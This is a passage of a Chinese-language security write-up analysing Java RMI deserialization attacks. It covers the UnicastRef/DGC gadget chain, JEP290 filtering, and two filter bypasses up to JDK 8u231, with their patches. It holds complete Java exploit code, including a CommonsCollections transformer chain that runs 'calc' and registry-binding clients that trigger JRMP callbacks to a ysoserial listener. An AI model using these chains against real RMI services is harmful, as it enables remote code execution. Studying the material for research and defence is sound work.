ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

此时我们查看端口占用情况:

exploit/JRMPClient+payload/JRMPListener客户端打服务端

这样就已经开启一个rmi服务了,此时我们可以通过ysoserial的exploit/JRMPClient进行攻击,前面我们也提到过exploit/JRMPClient实际上攻击的是DGC,只要开启了RMI服务,都会存在DGC的

UnicastRef

UnicastRef继承了Externalizable,里面重写了readExternal这个方法

然后跟进LiveRef#read()

在这里会调用DGCClient#registerRefs()

然后接着调用同名方法DGCClient$EndpointEntry#registerRefs()

最后会调用makeDirtyCall()

这里又会调用DGCImpl_Stub#dirty(),涉及到反序列化操作。

所以在UnicastRef被反序列化的时候,会启动DGC通信,如果此时传入恶意的序列化数据,当DGCImpl_Stub#dirty被调用的时候,就会造成反序列化漏洞

GadgetChain如下,这条链子实际上就是ysoserial中的payloads/JRMPClient

1
2
3
4
5
6
7
UnicastRef#readExternal()
LiveRef#read()
DGCClient#registerRefs()
DGCClient$EndpointEntry#registerRefs()
DGCImpl_Stub#dirty()
//开启JRMP服务
ObjectInputStream#readObject()

ysoserial/payloads/JRMPClient的代码稍微整合一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
package unicastref;//JRMPClient

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Proxy;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class JRMPClient {
public static void main(String[] args)throws Exception{
Object o=getObject("localhost:1099");
serialize(o);
unserialize("ser.bin");
}
public static Registry getObject (final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename)throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
ois.close();
return obj;
}
}

利用exploit/JRMPListener+payload/JRMPClient服务端打客户端

然后我们开启exploit/JRMPListener,启动监听。这里好像不用动态代理也能打,如果有长度限制的话,可以考虑直接返回obj

0x03JEP290&绕过

什么是JEP290

JEP290是Java底层为了缓解反序列化攻击提出的一种解决方案,主要提供了以下几个机制:

  • 提供一个限制反序列化类的机制,通过白名单或者黑名单的方式将可反序列化的类从任意类限制为上下文相关的类
  • 限制反序列化的调用深度和复杂度
  • 为RMI远程调用对象提供了一个验证类的机制
  • 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器

JEP290是在jdk9之后加入的,不过在jdk6,7,8中的高版本也添加了这个机制:

  • Java™ SE Development Kit 8, Update 121 (JDK 8u121)
  • Java™ SE Development Kit 7, Update 131 (JDK 7u131)
  • Java™ SE Development Kit 6, Update 141 (JDK 6u141)

JEP290需要手动设置,只有设置了之后才会有过滤,如果没有设置的话,仍然可以进行正常的反序列化漏洞利用,设置JEP290的方式有下面两种:

  • 通过setObjectInputFilter来设置filter
  • 直接通过conf/security/java.properties文件进行配置

JEP290简单分析

当我们使用JDK8u131来测试server端通过bind恶意对象的方式,进行对registry端的攻击的时候,报出了如下错误

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class Server {
public static void main(String[] args) throws Exception {
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap hashMap=new HashMap();
Map lazyMap= LazyMap.decorate(hashMap,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"key1");
HashMap<Object,Object> expMap=new HashMap<>();
expMap.put(tiedMapEntry,"key2");
hashMap.remove("key1");
Class<LazyMap> lazyMapClass=LazyMap.class;
lazyMapClass.getDeclaredField("factory");
Field factoryField=lazyMapClass.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);

Registry registry=LocateRegistry.createRegistry(1099);
Naming.bind("rmi://localhost:1099/RemoteInterfaceImpl",new Wrapper(expMap));
}
static class Wrapper implements Remote, Serializable {
private Object obj;
public Wrapper(Object obj){
this.obj=obj;
}
}
}

可以看到是因为恶意的序列化数据没有通过filter导致的,我们从RegistryImpl这个类开始看起,在RegistryImpl的构造方法中

再实例化Unicast的时候,传入了一个RegistryImpl::registryFilter,这是一个静态方法

UnicastServerRef#filter变量的声明如下:

1
private final transient ObjectInputFilter filter;

这个ObjectInputFilter是一个函数式接口,有关ObjectInputFilter这一部分的具体实现可以参考漫谈 JEP 290 (seebug.org),我们直接看Registry::registryFilter

在288行,给出了白名单:

1
2
3
4
5
6
7
8
9
String.class
Number.class
Remote.class
Proxy.class
UnicastRef.class
RMIClientSocketFactory.class
RMIServerSocketFactory.class
ActivationID.class
UID.class

如果在这个白名单内,则返回ALLOWED,否则返回REJECTED

当执行bind操作的时候,会调用UnicastServerRef#oldDispatch

再调用RegistryImpl_Skel之前,首先来到unmarshalCustomCallData

进入这个方法后,调用Config.setObjectInputFilter设置过滤,UnicastServerRef.this.filter就是我们在初始化RegistryImpl时设置的filter,防止白名单以外的类被反序列化所造成的反序列化攻击

JEP290绕过

UnicastRef Bypass JEP290 分析 (jdk<=8u231)

我们通过getRegistry获取到的注册中心,实际上就是一个封装了UnicastRef对象的RegistryImpl_Stub

调用bind之后,会通过里面的UnicastRef来和注册中心进行通信,当我们传入要绑定的对象名和远程对象时,skel会对数据进行反序列化。所以整个JRMP通信的过程就是建立在UnicastRef对象上面

这意味着我们可以伪造一个UnicastRef对象来和注册中心创建通信,这里用到的链子还是ysoserial/payloads/JRMPClient

1
2
3
4
5
6
7
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);

上面用到的类都在白名单内,自然不会被过滤了

client端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
package test;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.lang.reflect.Proxy;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.util.Random;

public class RMIClient {
public static void main(String[] args)throws Exception{
Registry registry= LocateRegistry.getRegistry("localhost",1099);
ObjID objID=new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint=new TCPEndpoint("localhost",2333);
UnicastRef ref=new UnicastRef(new LiveRef(objID,tcpEndpoint,false));
RemoteObjectInvocationHandler handler=new RemoteObjectInvocationHandler(ref);
Registry proxy= (Registry) Proxy.newProxyInstance(RMIClient.class.getClassLoader(),new Class[]{Registry.class},handler);
registry.bind("test",proxy);
}
}

server端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
package test;

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args)throws Exception{
UserInterface userInterface=new UserInterfaceImpl();
Registry registry= LocateRegistry.createRegistry(1099);
registry.bind("rmi://localhost:1099/user",userInterface);
}
}

整个调用栈其实和前面说到的UnicastRef类的JRMP反序列化有些区别,这里再分析一下。当server端的skel通过dispatch方法处理bind的时候,会调用readObject,因为RemoteObjectInvocationHandler没有实现Serializable接口,所以会调用父类RemoteObjectreadObject,进而调用UnicastRef#readExternal()

然后来到LiveRef.read()

然后在这里重新组装了一个LiveRef对象,这个对象和我们前面传入UnicastRef的那一个对象是一样的,然后接下来判断输入流in是不是一个ConnectionInputStream,这里会判断为true,然后来到stream.saveRef方法内

这里的incomingRefTable实际上是一个HashMap,ep和refList作为键值对填入其中,然后执行refList.add()把ref添加到refList

执行完上面这些,最终进入到StreamRemoteCall#releaseInputStream

然后调用ConnectionInputStream#registerRefs,遍历并且调用DGCClient#registerRefs解析前面存入incomingRefTableTCPEndpointLiveRef

后面的调用栈就和UnicastRef反序列化那边是一样的了,所以最后也会来到DGCImpl_Stub#dirty

最终在readObject处触发反序列化

整个过程也没有调用setObjectInputFilter,所以也不存在白名单过滤,exploit/JRMPListener传入的恶意数据也能够被反序列化

image-20241123181036721

这里就引用啦啦0咯咯 师傅文章的原话,这条利用链的本质就是:

  1. readobject反序列化的过程会递归反序列化我们的对象,一直反序列化到我们的UnicastRef类。
  2. 在readobejct反序列化的过程中填装UnicastRef类到incomingRefTable
  3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求

jdk8u231的修复

jdk8u231做出了两处修复:

  • 一处是在DGCImpl_Stub#dirty()方法处增加了setObjectInputFilter

  • 另一处是在RegistryImpl_Stub处的dispatch方法添加了discardPendingRefs()

如果序列化报错都会进入到这个方法,这个方法实际上就做了一件事——把前面的incomingRefTable清除

前面说过,这个incomingRefTable就是保存LiveRefTCPEndPoint对象的。这里把incomingRefTable清空掉的话就没办法触发反序列化漏洞了。

Bypass JEP290(jdk=8u231)

国外安全研究员An Trinh提出了一种新的思路,ysomap和ysoserial里面也收集了这种打法,先贴上

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public UnicastRemoteObject pack(Object obj) throws Exception {
//1.UnicastRef对象 -> RemoteObjectInvocationHandler
//obj是UnicastRef对象,先RemoteObjectInvocationHandler封装
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) obj);
//2. RemoteObjectInvocationHandler -> RMIServerSocketFactory接口
//RemoteObjectInvocationHandler通过动态代理封装转化成RMIServerSocketFactory
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);
//通过反射机制破除构造方法的可见性性质,创建UnicastRemoteObject实例
Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null); // 获取默认的
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) constructor.newInstance(null);
//3. RMIServerSocketFactory -> UnicastRemoteObject
//把RMIServerSocketFactory塞进UnicastRemoteObject实例中
ReflectionHelper.setFieldValue(remoteObject, "ssf", serverSocketFactory);
return remoteObject;
}

思路是

  1. readobject递归反序列化到payload对象中的UnicastRef对象,填装UnicastRef对象的ref到incomingRefTable
  2. 在根据readobject的第二个最著名的特性:会调用对象自实现的readobject方法,会执行UnicastRemoteObject的readObject,他的Gadgets会在这里触发一次JRMP请求
  3. 在releaseInputStream语句中从incomingRefTable中读取ref进行开始JRMP请求

不过RegistryImpl_Stub#在序列化UnicastRemoteObject的时候,会出现问题

在序列化的时候,会调用到ObjectOutputStream#writeObject0

因为这里enableReplace为true,所以会执行replaceObject

因为UnicastRemoteObject实现了Remote但是没有实现RemoteStub,而且var2!=null成立,所以最后会返回var2.getStub(),是一个Proxy对象

被序列化的已经不是原来的UnicasteRemoteObject,那么在反序列化的时候自然也不会触发漏洞。这里解决的思路是重写RegistryImpl_Stub#bind(),把enableReplace改为true

整合后的Client端代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package test;

import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.StreamRemoteCall;
import sun.rmi.transport.tcp.TCPEndpoint;

import java.io.ObjectOutput;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.*;
import java.util.Random;


public class RMIClientDemo {
public static void main(String[] args) throws Exception{
Registry registry = LocateRegistry.getRegistry("localhost",1099);
ObjID objID = new ObjID(new Random().nextInt());
TCPEndpoint tcpEndpoint = new TCPEndpoint("localhost",2333);
UnicastRef ref = new UnicastRef(new LiveRef(objID, tcpEndpoint, false));
UnicastRemoteObject unicastRemoteObject = pack(ref);
bind(registry, unicastRemoteObject);
}

public static void bind(Registry registry, UnicastRemoteObject unicastRemoteObject) throws Exception{
//获取ref
Class RemoteObjectClass = registry.getClass().getSuperclass().getSuperclass();
Field refField = RemoteObjectClass.getDeclaredField("ref");
refField.setAccessible(true);
UnicastRef ref = (UnicastRef)refField.get(registry);//获取ref字段的值
//获取operations
Class StubClass = registry.getClass();
Field operationsField = StubClass.getDeclaredField("operations");
operationsField.setAccessible(true);
Operation[] operations = (Operation[]) operationsField.get(registry);//获取operations字段的值

StreamRemoteCall var3 = (StreamRemoteCall) ref.newCall((RemoteObject)registry, operations, 2 , 4905912898345647071L);
ObjectOutput var4 = var3.getOutputStream();
Field enableReplaceField = ObjectOutputStream.class.getDeclaredField("enableReplace");
enableReplaceField.setAccessible(true);
enableReplaceField.set(var4, false);
var4.writeObject(unicastRemoteObject);
ref.invoke(var3);
ref.done(var3);
}
public static UnicastRemoteObject pack(Object obj) throws Exception {
RemoteObjectInvocationHandler handler = new RemoteObjectInvocationHandler((RemoteRef) obj);
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),
new Class[] { RMIServerSocketFactory.class, Remote.class},
handler
);

Constructor<?> constructor = UnicastRemoteObject.class.getDeclaredConstructor(null);
constructor.setAccessible(true);
UnicastRemoteObject remoteObject = (UnicastRemoteObject) ((java.lang.reflect.Constructor<?>) constructor).newInstance(null);
Field field = UnicastRemoteObject.class.getDeclaredField("ssf");
field.setAccessible(true);
field.set(remoteObject, serverSocketFactory);
return remoteObject;
}
}

ysoserial开启exploit/listener

接下来再调试一遍,看看这条链子是怎么绕过JEP290发起JRMP请求的,前面就是RegistryImpl_Skel#dispatch中处理bind方法然后调用readObject,进而调用UnicastRemoteObject#readObject

UnicastRemoteObject

然后再UnicastRemoteObject#readObject中调用reexport

进入到else分支后,调用exportObject,一直来到

然后调用UnicastRemoteObject#exportObject,导出远程对象,注意这个srefssf字段我们已经设置为了RMIServerSocketFactory对象,最后一路来到TCPTransport#exportObject

我们进入listen方法

然后来到231行,调用TCPEndpoint#newServerSocket

1
2
3
4
5
RMIServerSocketFactory serverSocketFactory = (RMIServerSocketFactory) Proxy.newProxyInstance(
RMIServerSocketFactory.class.getClassLoader(),// classloader
new Class[] { RMIServerSocketFactory.class, Remote.class}, // interfaces to implements
handler// RemoteObjectInvocationHandler
);

前面把ssf设置为RemoteObjectInvocationHandler生成的代理类了,所以当调用ssf的方法的时候,实际上调用到的是RemoteObjectInvocationHandler#invoke()

这里的method就是前面调用的createServerSocket,这里先检查method所在的类是否是Object类,如果不是则调用invokeRemoteMethod,因为RemoteObjectInvocationHandler实现了Remote接口,所以最后会调用UnicastRef#invoke。这里的ref存有exploit/JRMPListener的tcp信息

UnicastRef#invoke

进入UnicastRef#invoke后,首先调用newConnection建立连接,这里是连接上exploit/JRMPListener(127.0.0.1:2333)

然后new StreamRemoteCall(var6, this.ref.getObjID(), -1, var4);实例化一个StreamRemoteCall对象用于处理远程调用

然后调获取输出流,并且用marshaValueMethod var2需要的参数序列化到输出流中,然后调用StreamRemoteCall#executeCall

StreamRemoteCall#executeCall会涉及反序列化操作,只要var1为case 2(注意这个case 2不是说var1==2,这里的case 2实际上指的是case TransportConstants.ExceptionalReturn,这里的歧义应该是是反编译class包导致的,),就会对/exploit/JRMPListener的恶意序列化数据进行反序列化

var1的返回值具体取决于这一段:

如果server端反序列化正常,就会返回TransportConstants.NormalReturn否则返回TransportConstants.ExceptionalReturn。本质上就是如果服务端反序列化的时候抛出错误,就会执行readObject进行反序列化。

整个过程的调用栈如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
readObject:424, ObjectInputStream (java.io) [2]
executeCall:270, StreamRemoteCall (sun.rmi.transport)
invoke:161, UnicastRef (sun.rmi.server)
invokeRemoteMethod:227, RemoteObjectInvocationHandler (java.rmi.server)
invoke:179, RemoteObjectInvocationHandler (java.rmi.server)
createServerSocket:-1, $Proxy1 (com.sun.proxy)
newServerSocket:666, TCPEndpoint (sun.rmi.transport.tcp)
listen:335, TCPTransport (sun.rmi.transport.tcp)
exportObject:254, TCPTransport (sun.rmi.transport.tcp)
exportObject:411, TCPEndpoint (sun.rmi.transport.tcp)
exportObject:147, LiveRef (sun.rmi.transport)
exportObject:237, UnicastServerRef (sun.rmi.server)
exportObject:383, UnicastRemoteObject (java.rmi.server)
exportObject:346, UnicastRemoteObject (java.rmi.server)
reexport:268, UnicastRemoteObject (java.rmi.server)
readObject:235, UnicastRemoteObject (java.rmi.server)

最后再来总结一下针对jdk8u231 Bypass JEP290的关键点:

  • 利用readObject执行UnicastRemoteObject#readObject
  • 利用动态代理的特性,执行代理对象的方法createServerSocket实际上会跳转到了RemoteObjectInvocationHandler#invoke
  • RemoteObjectInvocationHandler#invoke里通过调用内置的UnicastRef,向外发起JRMP连接请求,并反序列化返回的结果

0x04后记&参考文章

在jdk8u241中,针对Bypass JEP290(jdk=8u231)进行了修复,至此在jdk8u241之后针对RMI的反序列化攻击彻底落幕

摸着很多师傅的文章过河的,一些局限性比较强或者利用难度大的打法就没有涉及到了,下面是参考链接:

https://threezh1.com/2020/12/19/JAVA_RMI_Learn/

RMI Bypass Jep290(Jdk8u231) 反序列化漏洞分析 - 360CERT

漫谈 JEP 290 (seebug.org)

https://su18.org/post/rmi-attack/

https://paper.seebug.org/1251/

https://xz.aliyun.com/t/7932

https://halfblue.github.io/2021/11/02/RMI%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E4%B9%8B%E4%B8%89%E9%A1%BE%E8%8C%85%E5%BA%90-%E6%94%BB%E5%87%BB%E5%AE%9E%E7%8E%B0/